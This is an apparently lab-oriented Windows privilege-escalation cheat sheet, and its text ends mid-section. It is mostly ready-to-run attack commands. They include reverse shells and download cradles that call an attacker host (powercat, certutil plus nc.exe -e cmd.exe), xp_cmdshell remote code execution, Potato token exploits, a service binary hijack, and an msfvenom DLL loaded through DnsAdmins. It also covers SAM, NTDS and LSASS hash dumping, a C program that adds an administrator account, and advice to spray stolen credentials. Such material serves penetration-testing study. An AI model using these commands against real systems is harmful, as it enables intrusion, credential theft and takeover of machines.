Windows Privilege Escalation Reference
Scope: How to go from low-priv user to admin/SYSTEM on the CURRENT machine.
⚠️ CMD vs PowerShell: evil-winrm = PowerShell. psexec/wmiexec/nc.exe = CMD. Most commands below use CMD syntax. If you’re in PowerShell and something breaks:
- Type
cmd.exeto drop into CMD- Or replace
&&with;,2>nulwith2>$null,%VAR%with$env:VAR
Quick Reference — Windows Permission Commands (Linux → Windows)
If you know Linux commands but not Windows equivalents, use this table:
| What You Want | Linux | Windows (CMD) | Windows (PowerShell) |
|---|---|---|---|
| Who owns this file? | ls -la file | icacls file | Get-Acl file |
| Who owns this dir? | ls -la /dir | icacls C:\dir | Get-Acl C:\dir |
| Can I write here? | echo test >> file | echo test > C:\dir\test.txt | Set-Content C:\dir\test.txt "test" |
| Show hidden files | ls -la | dir /a | Get-ChildItem -Force |
| Find writable files | find / -writable | icacls C:\path\* /T | Get-ChildItem -Recurse then check ACLs |
| Who runs this process? | ps aux | tasklist /v | Get-WmiObject Win32_Process |
| What’s running as SYSTEM? | ps aux | grep root | tasklist /v | findstr SYSTEM | same |
| Check scheduled tasks | cat /etc/crontab | schtasks /query /fo LIST /v | same |
icacls Permission Codes (memorize these)
| Code | Meaning | Exploitable? |
|---|---|---|
| (F) | Full Control | YES — read, write, delete, change permissions |
| (M) | Modify | YES — read, write, delete |
| (W) | Write | YES — can overwrite file |
| (R) | Read | No — can only read |
| (RX) | Read + Execute | No — can read and run |
If you see BUILTIN\Users:(F) or (M) on a binary that runs as SYSTEM → replace it with your payload.
PART 1 — ENUMERATION (RUN ALL OF THESE FIRST)
Methodology: Run through ALL enumeration steps below before attempting any attacks. Collect findings, THEN decide which attack path to pursue. Jumping to attacks too early = tunnel vision = missed privesc.
Enum 1 — Who Am I? (ALWAYS FIRST)
whoami /all
This single command gives you: username, groups, AND token privileges. Read ALL of it.
- Integrity level → Medium + local admin = UAC bypass candidate
Enum 2 — System Info
hostname
systeminfo
ipconfig /all
Note the OS version, architecture (x64/x86), domain membership, and hotfixes installed.
AppLocker
There are many ways to bypass AppLocker.
If AppLocker is configured with default AppLocker rules, we can bypass it by placing our executable in the following directory: C:\Windows\System32\spool\drivers\color - This is whitelisted by default.
Enum — Running Services, Processes & Ports
tasklist /svc
# What services are running and from where?
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
# Running processes with paths
Get-Process | Select ProcessName,Path | Sort-Object Path -Unique
# All listening ports
netstat -ano | findstr LISTENING
# Map ALL listening ports to process names (no admin needed)
Get-NetTCPConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess,@{Name='Process';Expression={(Get-Process -Id $_.OwningProcess).Name}} | Sort-Object LocalPort
# If Get-NetTCPConnection unavailable — look up individual PIDs:
tasklist /FI "PID eq <PID>"
Get-Process -Id <PID> | Select-Object Name,Path
What to look for:
- Services running from writable paths or non-default directories
- Localhost-only services (
127.0.0.1) — invisible to external nmap, often run as SYSTEM 0.0.0.0= listening on ALL interfaces (including localhost).127.0.0.1= localhost ONLY- Non-standard ports → custom applications worth investigating
- MySQL (3306), web servers (80/443/8080), databases — check for creds
Enum 4 — Non-Default Directories & Installed Software
dir C:\
Anything that isn’t Windows, Program Files, Users, PerfLogs is placed there intentionally. Check it.
If you find an .exe in a non-default directory, run the full check:
# Step 1 — Can you write to it?
icacls "C:\path\to\binary.exe"
# Look for (F)=Full, (M)=Modify, (W)=Write for your user, Everyone, Users, or Authenticated Users
# If NOT writable → skip, can't exploit
# Step 2 — What runs it? (this is the step people miss)
# Is it a service?
Get-CimInstance -ClassName win32_service | Where-Object {$_.PathName -like '*binary*'} | Select Name,PathName,StartName,State
# Or search by directory:
Get-CimInstance -ClassName win32_service | Where-Object {$_.PathName -like '*DevelopmentExecutables*'} | Select Name,PathName,StartName,State
# Is it a scheduled task?
schtasks /query /fo LIST /v | findstr /i "binary\|path\|Run As\|Task To Run"
# Is it an AutoRun entry?
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run | findstr /i "binary"
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run | findstr /i "binary"
# Is a running process using it right now?
Get-Process | Where-Object {$_.Path -like '*binary*'} | Select Name,Id,Path
# Step 3 — WHO does it run as?
# For services:
sc.exe qc SERVICENAME
# ⚠️ Use the SERVICE NAME not the FILENAME: sc.exe qc auditTracker NOT sc.exe qc auditTracker.exe
# Look for SERVICE_START_NAME: LocalSystem = SYSTEM = exploit it
# For scheduled tasks:
schtasks /query /tn "TASKNAME" /fo LIST /v | findstr /i "Run As"
# Run As User: SYSTEM = exploit it
# Step 4 — If it runs as SYSTEM and you can write to it → replace the binary
dir "C:\Program Files"
dir "C:\Program Files (x86)"
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Note versions → searchsploit them.
Enum 5 — Password Hunting (PS History, Configs, Known Locations)
Searching for Files
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
Sensitive IIS info such as credentials may live in a web.config file — for the default IIS site that’s C:\inetpub\wwwroot\web.config.
Dictionary Files
Chrome’s custom dictionary can leak words (including passwords) the user typed:
gc 'C:\Users\student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password
PowerShell History File
Since PowerShell 5.0 (Windows 10), command history is saved to C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt:
(Get-PSReadLineOption).HistorySavePath
gc (Get-PSReadLineOption).HistorySavePath
Get-ChildItem -Path C:\Users -Recurse -Filter ConsoleHost_history.txt -ErrorAction SilentlyContinue | Get-Content
# One-liner to read EVERY user's PowerShell history
foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}
PowerShell Credentials (Export-Clixml / DPAPI)
A sysadmin script such as Connect-VC.ps1 may store a credential with Export-Clixml. If you run in that user’s context (or can abuse DPAPI), recover the cleartext:
# The stored credential (encrypted with DPAPI, tied to the user)
$encryptedPassword = Import-Clixml -Path 'C:\scripts\pass.xml'
$decryptedPassword = $encryptedPassword.GetNetworkCredential().Password
# Pull username + password out
$credential = Import-Clixml -Path 'C:\scripts\pass.xml'
$credential.GetNetworkCredential().username # -> bob
$credential.GetNetworkCredential().password # -> Str0ng3ncryptedP@ss!
Transcripts, Known Locations & Registry
# PowerShell transcripts
Get-ChildItem -Path C:\ -Include *transcript* -File -Recurse -ErrorAction SilentlyContinue
# Known credential file locations
Get-Content C:\xampp\htdocs\wp-config.php -EA SilentlyContinue
Get-Content C:\xampp\phpMyAdmin\config.inc.php -EA SilentlyContinue
Get-Content C:\xampp\mysql\bin\my.ini -EA SilentlyContinue
Get-Content C:\inetpub\wwwroot\web.config -EA SilentlyContinue
Get-Content C:\Windows\Panther\Unattend.xml -EA SilentlyContinue
# Search from a user home (NOT from C:\ — that floods with garbage)
Get-ChildItem -Recurse -Include *.ini,*.cfg,*.xml,*.txt,*.config -EA SilentlyContinue | Select-String "pass" -List | Select Path
# Hidden AppData creds
Get-ChildItem -Path C:\Users\*\AppData -Recurse -Include *.xml,*.config,*.ini,*.txt,*.settings -Force -EA SilentlyContinue | Select-String -Pattern "password|credential|passwd" -List | Select Path
# AutoLogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>$null | findstr /i "DefaultUserName DefaultPassword AutoAdminLogon"
# Saved credentials
cmdkey /list
# AutoRun keys (writable binary?)
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Enum 6 — Scheduled Tasks
schtasks /query /fo LIST /v | findstr /i "Task To Run" | findstr /i /v "system32"
schtasks /query /fo LIST /v | findstr /i "Run As User" | findstr /i "SYSTEM\|Administrator"
For each interesting task: Who runs it? Is the binary writable? (icacls <path>)
How to RECOGNIZE a scheduled task without confirming it:
- Script or binary at root level, not in a user dir
- Name contains schedule, update, backup, task
- References another users files
- Run then delete pattern: copy, execute, delete
- Directory exists but is empty
- icacls shows Authenticated Users have (M) or (F)
EXPLOIT: PowerShell download cradle reverse shell:
echo IEX(New-Object Net.WebClient).DownloadString('http://KALI:8000/powercat.ps1'); powercat -c KALI -p PORT -e cmd.exe > C:\schedule.ps1
Set up listener and HTTP server serving powercat.ps1. Wait for task.
Enum 7 — Service Binary Permissions
icacls "C:\path\to\service.exe"
accesschk64.exe -uwcv Everyone *
Look for (F), (M), or (W) on binaries that run as SYSTEM.
Enum 8 — Registry Checks
:: AlwaysInstallElevated (both must be 0x1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: SAM/SYSTEM backups
dir C:\Windows\Repair\SAM
dir C:\Windows\System32\config\RegBack\SAM
Enum 9 — Interact with Local Services (databases, web servers, etc.)
If you found databases or services in Enum 3, interact with them directly BEFORE tunneling.
MySQL (port 3306) — via evil-winrm (non-interactive):
:: From C:\xampp\mysql\bin or wherever mysql.exe lives
.\mysql.exe -u root --password=""
.\mysql.exe -u root -e "SHOW DATABASES;"
.\mysql.exe -u root -e "SELECT user,host FROM mysql.user;"
.\mysql.exe -u root -e "USE wordpress; SELECT * FROM wp_users;"
XAMPP MySQL often has a blank root password. Always try --password="" first.
Evil-WinRM hangs on interactive prompts — always use -e for queries.
MSSQL (port 1433) — from Kali:
# With creds found in config files / web.config
impacket-mssqlclient 'USER:PASS'@TARGET -windows-auth
impacket-mssqlclient 'USER:PASS'@TARGET # SQL auth fallback
impacket-mssqlclient 'sa:sa'@TARGET # try default sa creds
-- Once connected:
SELECT name FROM master..sysdatabases;
USE dbname;
SELECT name FROM sysobjects WHERE xtype='U';
SELECT * FROM users;
-- Try RCE:
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
MSSQL — from Windows (if on the target already):
# sqlcmd is often installed on Windows boxes with MSSQL
sqlcmd -S localhost -U sa -P 'password' -Q "SELECT name FROM master..sysdatabases;"
sqlcmd -S localhost -E -Q "SELECT name FROM master..sysdatabases;" # Windows auth (current user)
sqlcmd -S ".\SQLEXPRESS" -E -Q "SELECT name FROM master..sysdatabases;" # named instance
⚠️ -Q is MANDATORY in reverse shells / evil-winrm. Without -Q, sqlcmd opens an interactive session that hangs your shell. -Q = run and exit (same as mysql’s -e).
⚠️ -E = Windows auth (uses your current user). If you’re SYSTEM, no password needed.
Named instances — MSSQL is NOT like MySQL:
MySQL just runs on a port. MSSQL has named instances — one server can run multiple separate MSSQL instances, each with a different name. The default instance is just localhost. Named instances use localhost\INSTANCENAME.
How to find the instance name:
# Check web.config — connection strings tell you everything
Get-Content C:\inetpub\wwwroot\web.config -EA SilentlyContinue
# Look for: server=localhost\SQLEXPRESS or Data Source=.\SQLEXPRESS
# Check WinPEAS output for named pipes
# Look for: SQLLocal\SQLEXPRESS → instance is SQLEXPRESS
# Check running processes
Get-Process | Where-Object {$_.Name -like '*sql*'} | Select Name,Id
# MSSQL$SQLEXPRESS in the process list → instance is SQLEXPRESS
# Check services
Get-Service | Where-Object {$_.DisplayName -like '*SQL*'}
# MSSQL$SQLEXPRESS → instance is SQLEXPRESS
Quick reference — sqlcmd vs mysql:
| What | mysql | sqlcmd |
|---|---|---|
| Connect | mysql -u root -p | sqlcmd -S ".\SQLEXPRESS" -U sa -P pass |
| Run query + exit | mysql -u root -e "query" | sqlcmd -S server -U sa -P pass -Q "query" |
| Windows auth | N/A | sqlcmd -S server -E |
| Select database | mysql -u root db | sqlcmd -S server -E -d dbname |
| Named instance | N/A (just port) | -S ".\SQLEXPRESS" or -S "localhost\SQLEXPRESS" |
Once connected to MSSQL — what to do (in order):
Step 1 — Enumerate databases:
sqlcmd -S ".\SQLEXPRESS" -E -Q "SELECT name FROM master..sysdatabases;"
Ignore master, tempdb, model, msdb — these are system databases. Everything else is custom and worth investigating.
Step 2 — List tables in each custom database:
sqlcmd -S ".\SQLEXPRESS" -E -d DBNAME -Q "SELECT name FROM sysobjects WHERE xtype='U';"
Replace DBNAME with what you found in Step 1. Look for tables named users, credentials, accounts, logins, employees, etc.
Step 3 — List columns in interesting tables:
sqlcmd -S ".\SQLEXPRESS" -E -d DBNAME -Q "SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='TABLENAME');"
Replace TABLENAME with what you found in Step 2. Look for columns like username, password, email, hash.
Step 4 — Dump the data:
sqlcmd -S ".\SQLEXPRESS" -E -d DBNAME -Q "SELECT * FROM TABLENAME;"
# Or specific columns:
sqlcmd -S ".\SQLEXPRESS" -E -d DBNAME -Q "SELECT username,password FROM users;"
Every credential found → add to creds table → spray across ALL machines immediately.
Step 5 — xp_cmdshell → RCE (as the SQL service account):
# Enable xp_cmdshell
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC sp_configure 'show advanced options',1; RECONFIGURE;"
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;"
⚠️ xp_cmdshell output is BLIND through sqlcmd — you won’t see command output. Confirm RCE with ping:
# Test: does it execute?
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'ping ATTACKER_IP';"
# Listen on Kali: sudo tcpdump -i tun0 icmp — if you see pings, you have RCE
# Check who it runs as
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'whoami > C:\Windows\Temp\whoami.txt';"
type C:\Windows\Temp\whoami.txt
# If different user than you → this is lateral movement or privesc
Get a reverse shell:
# Download nc.exe to target
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'certutil -urlcache -f http://ATTACKER/nc.exe C:\Windows\Temp\nc.exe';"
# Catch on Kali: rlwrap nc -lvnp 443
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe';"
Or use PowerShell reverse shell (encode with base64 -w 0 on Kali):
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'powershell -nop -w hidden -e BASE64_PAYLOAD';"
If xp_cmdshell is denied → SQL user is not sysadmin. Skip to Step 7 (hash stealing).
Step 6 — Read files through MSSQL (if xp_cmdshell fails):
sqlcmd -S ".\SQLEXPRESS" -E -Q "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\proof.txt', SINGLE_CLOB) AS x;"
Step 7 — Steal hashes (if nothing else works):
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC master..xp_dirtree '\\\\ATTACKER_IP\\share';"
# Catch with: sudo responder -I tun0 -A
# Crack: hashcat -m 5600 hash.txt rockyou.txt
Step 8 — Check linked servers (lateral movement to other SQL servers):
sqlcmd -S ".\SQLEXPRESS" -E -Q "SELECT name FROM master..sysservers;"
# If linked servers exist: EXEC('xp_cmdshell ''whoami''') AT [LINKED_SERVER]
This is the same enumeration flow as MySQL, just different syntax:
| Step | MySQL | MSSQL (sqlcmd) |
|---|---|---|
| List databases | SHOW DATABASES; | SELECT name FROM master..sysdatabases; |
| List tables | SHOW TABLES; | SELECT name FROM sysobjects WHERE xtype='U'; |
| List columns | DESCRIBE tablename; | SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='tablename'); |
| Dump data | SELECT * FROM users; | SELECT * FROM users; (same) |
PostgreSQL (port 5432) — from Kali:
psql -h TARGET -U postgres -W # prompts for password
psql -h TARGET -U postgres -d dbname # connect to specific database
-- Once connected:
\l -- list databases
\dt -- list tables
\du -- list users (check for superuser!)
SELECT * FROM users;
-- If superuser → RCE:
COPY (SELECT '') TO PROGRAM 'whoami';
Common default credentials to try:
| DB | Username | Password to try |
|---|---|---|
| MySQL | root | (blank), root, toor |
| MSSQL | sa | sa, (blank), Password1 |
| PostgreSQL | postgres | postgres, (blank), admin |
For localhost-only web services, tunnel them out:
# Attacker: ./chisel server -p 9999 --reverse
# Target: .\chisel.exe client ATTACKER:9999 R:PORT:127.0.0.1:PORT
# Then browse http://127.0.0.1:PORT on Kali
⚠️ If the service is bound to 127.0.0.1, the chisel forward MUST use 127.0.0.1 — NOT the machine’s external IP.
Enum 10 — Automated Tools (after manual enum)
.\winpeas.exe cmd > winpeas_output.txt
To see output AND save to file at the same time (like Linux tee):
.\winpeas.exe cmd | Tee-Object -FilePath C:\Users\Public\winpeas.txt
⚠️ Tee-Object only works in PowerShell (evil-winrm is fine). Won’t work in basic CMD or nc shells.
⚠️ If WinPEAS hangs in any shell, redirect to file only and read after:
.\winpeas.exe cmd > C:\Users\Public\wp.txt 2>&1
type C:\Users\Public\wp.txt
# Or download from evil-winrm: download C:\Users\Public\wp.txt
powershell -ep bypass “. .\PowerUp.ps1; Invoke-AllChecks”
Run these AFTER manual enumeration — they confirm findings and may catch things you missed.
## Enum 11 — Domain Check
```cmd
systeminfo | findstr /i "domain"
net user /domain
PART 2 — ATTACK TECHNIQUES (Reference by Finding)
Below: detailed exploitation steps organized by what you found during enumeration. Find the attack that matches your enumeration findings.
Attack: Token Privileges
whoami /priv
whoami /all
SeImpersonatePrivilege (most common — IIS/MSSQL service accounts)
| OS Version | Tool |
|---|---|
| Server 2016 and older | JuicyPotato |
| Server 2019+ / Win10 1809+ | PrintSpoofer |
| Universal / modern | GodPotato or SigmaPotato |
PrintSpoofer.exe -i -c cmd
GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"
JuicyPotato.exe -l 1337 -p C:\Windows\Temp\nc.exe -a "ATTACKER 443 -e cmd.exe" -t * -c {CLSID}
.\SigmaPotato.exe "net user pwned Password123! /add"
.\SigmaPotato.exe "net localgroup Administrators pwned /add"
Running GodPotato without blocking your shell:
# PowerShell — launches independently, your session stays usable
Start-Process -FilePath ".\GodPotato-NET4.exe" -ArgumentList '-cmd "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"' -WindowStyle Hidden
:: CMD — background execution
start /b .\GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"
⚠️ Potato shells are unstable child processes. Once you get SYSTEM, immediately create an admin user:
net user hacker hacker123! /add
net localgroup Administrators hacker /add
net localgroup "Remote Management Users" hacker /add
Then connect properly: evil-winrm -i TARGET -u hacker -p 'hacker123!'
- Use full absolute paths for everything inside
-cmd:C:\Windows\Temp\nc.exenot justnc.exe - Use nc.exe reverse shell pattern, not msfvenom .exe (msfvenom exe payloads often die silently)
- Pattern:
GodPotato -cmd "C:\full\path\to\nc.exe ATTACKER PORT -e cmd.exe" - Wrap in
cmd.exe /cif nc.exe won’t connect:GodPotato -cmd "cmd.exe /c C:\path\nc.exe ATTACKER PORT -e cmd.exe" - If reverse shell still fails, redirect output to a file instead:
.\GodPotato-NET4.exe -cmd "cmd.exe /c (whoami & type C:\Users\Administrator\Desktop\proof.txt) > C:\Windows\Temp\out.txt 2>&1"
type C:\Windows\Temp\out.txt
- Use
¬&&(& runs all commands, && stops on first failure) - Use parentheses to group commands before the
>redirect
SeBackupPrivilege → dump SAM/SYSTEM
Allows reading ANY file regardless of permissions. Use it to copy SAM+SYSTEM hives and dump all local hashes. ⚠️ Real-world example: Return (HTB) — svc-printer had SeBackupPrivilege via Server Operators group
# Step 1: Create a temp directory to save the files
mkdir C:\Temp
# Step 2: Save the SAM and SYSTEM registry hives
reg save hklm\sam C:\Temp\sam
reg save hklm\system C:\Temp\system
# Step 3: Download both files to Kali via evil-winrm
cd C:\Temp
download sam
download system
On Kali — dump all hashes:
impacket-secretsdump -sam sam -system system LOCAL
# Use the NT hash (second hash after the second colon) for Pass-the-Hash
Pass-the-Hash with the Administrator NTLM hash:
evil-winrm -i <TARGET_IP> -u Administrator -H '<NTLM_HASH>'
Why it works: SeBackupPrivilege bypasses file ACLs — it’s designed for backup software to read protected files. The SAM hive contains local account hashes, SYSTEM contains the boot key needed to decrypt them. Together they give you all local hashes including Administrator.
SeImpersonate (Potato) → SYSTEM → dump SAM+SYSTEM+SECURITY in one shot
# Step 1 — upload GodPotato (your http server already running on KALI:8000)
iwr http://KALI:8000/GodPotato-NET4.exe -OutFile $env:TEMP\g.exe -UseBasicParsing
# Step 2 — single SYSTEM exec: reg save all three + icacls so YOUR user can read
& $env:TEMP\g.exe -cmd "cmd.exe /c reg save HKLM\SAM C:\Users\YOU\Documents\sam.save /y & reg save HKLM\SYSTEM C:\Users\YOU\Documents\system.save /y & reg save HKLM\SECURITY C:\Users\YOU\Documents\security.save /y & icacls C:\Users\YOU\Documents\sam.save /grant Everyone:F & icacls C:\Users\YOU\Documents\system.save /grant Everyone:F & icacls C:\Users\YOU\Documents\security.save /grant Everyone:F"
# Note: icacls is what makes the SYSTEM-owned files readable by your low-priv user afterward
Pull the hives — if you can’t write to C$/ADMIN$ (you’re not local admin yet), use the base64-over-stdout trick through evil-winrm:
# On Kali — one-line PS per hive (use FORWARD SLASHES to dodge bash \U escape hell)
for f in sam system security; do
echo "[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:/Users/YOU/Documents/$f.save'))" | \
evil-winrm -i IP -u USER -p PASS 2>&1 | \
grep -E '^[A-Za-z0-9+/]{50,}={0,2}$' | tr -d '\r\n' | base64 -d > $f.save
done
# Then locally:
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
Mary.Williams:1002:...:... # other local accounts
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
[*] _SC_wampapache64
⚠️ Forward slashes in PowerShell paths when piping commands through bash → evil-winrm. C:\Users triggers \U interpretation in bash and breaks the command. PowerShell accepts C:/Users/... natively.
SeBackupPrivilege → NTDS.dit (domain hashes — DC ONLY)
NTDS.dit is a live database locked by the DC process.
reg savecannot touch it. VSS creates a frozen snapshot where the file is no longer locked. ⚠️ DC only. Gives ALL domain account hashes.
# Must run from a writable directory
cd C:\Temp
echo "set context persistent nowriters" | out-file C:\Windows\Temp\shadow.dsh -encoding ascii
echo "add volume c: alias pwn" | out-file C:\Windows\Temp\shadow.dsh -append -encoding ascii
echo "create" | out-file C:\Windows\Temp\shadow.dsh -append -encoding ascii
echo "expose %pwn% z:" | out-file C:\Windows\Temp\shadow.dsh -append -encoding ascii
diskshadow /s C:\Windows\Temp\shadow.dsh
# Z: is now a frozen snapshot of C:
# /b flag = backup mode, bypasses ACLs using SeBackupPrivilege
robocopy /b z:\Windows\NTDS\ C:\Windows\Temp\ ntds.dit
reg save hklm\system C:\Windows\Temp\system
download C:\Windows\Temp\ntds.dit
download C:\Windows\Temp\system
impacket-secretsdump -ntds ntds.dit -system system LOCAL
evil-winrm -i <DC_IP> -u Administrator -H '<NTLM_HASH>'
SAM vs NTDS.dit:
| What | Tool | When |
|---|---|---|
| Local hashes | reg save hklm\sam | Any Windows |
| Domain hashes | VSS + robocopy /b | DC only |
SeRestorePrivilege → overwrite system files or DLLs
Windows Privileged Groups (Check ALONGSIDE Token Privs)
Always run
whoami /allnot justwhoami /priv. Group membership can be MORE valuable than token privileges.
Server Operators → service binary hijack → SYSTEM
Members of Server Operators can start/stop services AND reconfigure service binary paths.
# Step 1: Upload nc.exe (from evil-winrm)
upload /usr/share/windows-binaries/nc.exe
move nc.exe C:\Windows\Temp\nc.exe
# Step 2: Start listener on Kali
nc -lvp 443
# Step 3: Reconfigure a running service to call nc.exe
# Find a running service to hijack (VMTools works on HTB, try others if not)
sc.exe config VMTools binPath="C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER 443"
# Step 4: Restart the service
sc.exe stop VMTools
sc.exe start VMTools
# Note: sc start will "fail" with a timeout error — this is normal.
# The service starts nc.exe, nc.exe connects back, service manager times out.
# Your listener catches the SYSTEM shell.
Which service to hijack? Any service you can stop AND start. Try:
# List services you can control:
services.msc # GUI (if RDP)
sc.exe query type= all state= running
# VMTools is commonly available on HTB/PG. Otherwise try any non-critical running service.
Why it gives SYSTEM: Services run under LocalSystem by default. When you reconfigure the binary path and restart, Windows executes your binary AS the service’s user account (SYSTEM).
Backup Operators → dump SAM/SYSTEM → PtH
Same effect as SeBackupPrivilege (Backup Operators members automatically get it). Follow the SeBackupPrivilege steps above.
DnsAdmins → DLL injection into DNS service → SYSTEM
DnsAdmins members can configure the DNS server to load a plugin DLL. DNS runs as SYSTEM.
# Step 1: Generate malicious DLL on Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f dll -o evil.dll
# Step 2: Host via SMB server
impacket-smbserver share . -smb2support
# Step 3: From Windows shell, configure DNS to load your DLL
dnscmd.exe /config /serverlevelplugindll \\\\ATTACKER\\share\\evil.dll
# Step 4: Start listener + restart DNS service
nc -lvp 443
sc.exe stop dns
sc.exe start dns
Account Operators → modify non-admin accounts → lateral movement
Account Operators can create/modify most user accounts and add them to non-privileged groups.
# Create a new user
net user attacker P@ss123! /add
# Add to a group you want to be in (can't add to Domain Admins or Administrators directly)
net localgroup "Remote Management Users" attacker /add
Print Operators → SeLoadDriverPrivilege → kernel driver exploit
Print Operators get SeLoadDriverPrivilege which allows loading kernel drivers. Complex attack involving loading a vulnerable driver then exploiting it. Rarely seen on OSCP boxes — check HackTricks if encountered.
Remote Management Users
Directly allows WinRM (port 5985) access:
evil-winrm -i TARGET -u USER -p PASS
Group Membership Quick Reference
| Group | What It Enables | Quick Win |
|---|---|---|
| Server Operators | Stop/start/reconfigure services | sc.exe config → SYSTEM |
| Backup Operators | Read any file (SeBackupPrivilege) | reg save SAM → secretsdump |
| DnsAdmins | Load DLL into DNS service (SYSTEM) | dnscmd → SYSTEM |
| Account Operators | Create/modify non-admin accounts | Add self to groups |
| Print Operators | Load kernel drivers | Complex — see HackTricks |
| Remote Management Users | WinRM access | evil-winrm shell |
| BUILTIN\Administrators | Local admin | Dump SAM, run as admin |
| Domain Admins | DA — game over | DCSync, PtH anywhere |
SeDebugPrivilege → dump LSASS
procdump.exe -ma lsass.exe lsass.dmp
# On Kali: pypykatz lsa minidump lsass.dmp
SeTakeOwnershipPrivilege
If the privilege is disabled, enable it first:
Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1
Taking Ownership of the File
takeown /f 'C:\Department Shares\Private\IT\cred.txt'
SUCCESS: The file (or folder): "C:\Department Shares\Private\IT\cred.txt" now owned by user "SRV01\student".
Confirming Ownership Changed
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}
Name Directory Owner
---- --------- -----
cred.txt C:\Department Shares\Private\IT SRV01\student
Modifying the File ACL
We may still not be able to read the file, so modify the file ACL with icacls to grant our user full privileges over the target file:
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant student:F
When to Use?
Files of Interest
Some local files of interest may include:
c:\inetpub\wwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
Check 2 — WinPEAS and PowerUp
.\winpeas.exe cmd | Tee-Object -FilePath C:\Users\Public\winpeas.txt
# If hangs: .\winpeas.exe cmd > C:\Users\Public\wp.txt 2>&1
powershell -ep bypass ". .\PowerUp.ps1; Invoke-AllChecks"
PowerUp targeted functions (when Invoke-AllChecks is too noisy):
# Import first
powershell -ep bypass
. .\PowerUp.ps1
# Service binary hijacking — finds services where current user can modify the binary
Get-ModifiableServiceFile
# Unquoted service paths — finds unquoted paths with spaces
Get-UnquotedService
# Exploit unquoted path (creates user john / Password123! by default)
Write-ServiceBinary -Name '<svc>' -Path "C:\Program Files\Vuln App\Current.exe"
Restart-Service <svc>
# Weak service DACLs — finds services current user can reconfigure
Get-ModifiableService
⚠️ PowerUp’s Install-ServiceBinary can fail silently if the service binary path has arguments containing paths (e.g. --defaults-file=C:\path). If AbuseFunction errors out, do the binary replacement manually.
Check 3 — Service Misconfigurations
Payload for service/DLL/scheduled task hijacks
// adduser.c — creates admin user when executed as SYSTEM
#include <stdlib.h>
int main() {
system("net user pwned Password123! /add");
system("net localgroup administrators pwned /add");
return 0;
}
# Cross-compile on Kali
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe # 64-bit EXE
x86_64-w64-mingw32-gcc adduser.cpp --shared -o evil.dll # 64-bit DLL
⚠️ If you can’t net stop/net start the service: shutdown /r /t 0 (requires SeShutdownPrivilege). Service set to Auto will restart after reboot.
Unquoted Service Paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v "\"\""
If found: Windows tries each prefix + .exe left-to-right; first match wins. Filename must match the next component before the space (not free-choice). Path C:\Program Files\My App\service.exe → drop C:\Program.exe OR C:\Program Files\My.exe. Need write access to that directory.
Writable Service Binaries
icacls "C:\path\o\service.exe"
accesschk64.exe -uwcv Everyone *
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
If writable:
sc config <vuln_svc> binpath= "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"
sc stop <vuln_svc>
sc start <vuln_svc>
Weak Service DACLs
accesschk64.exe -uwcqv <username> *
# If SERVICE_CHANGE_CONFIG on any service:
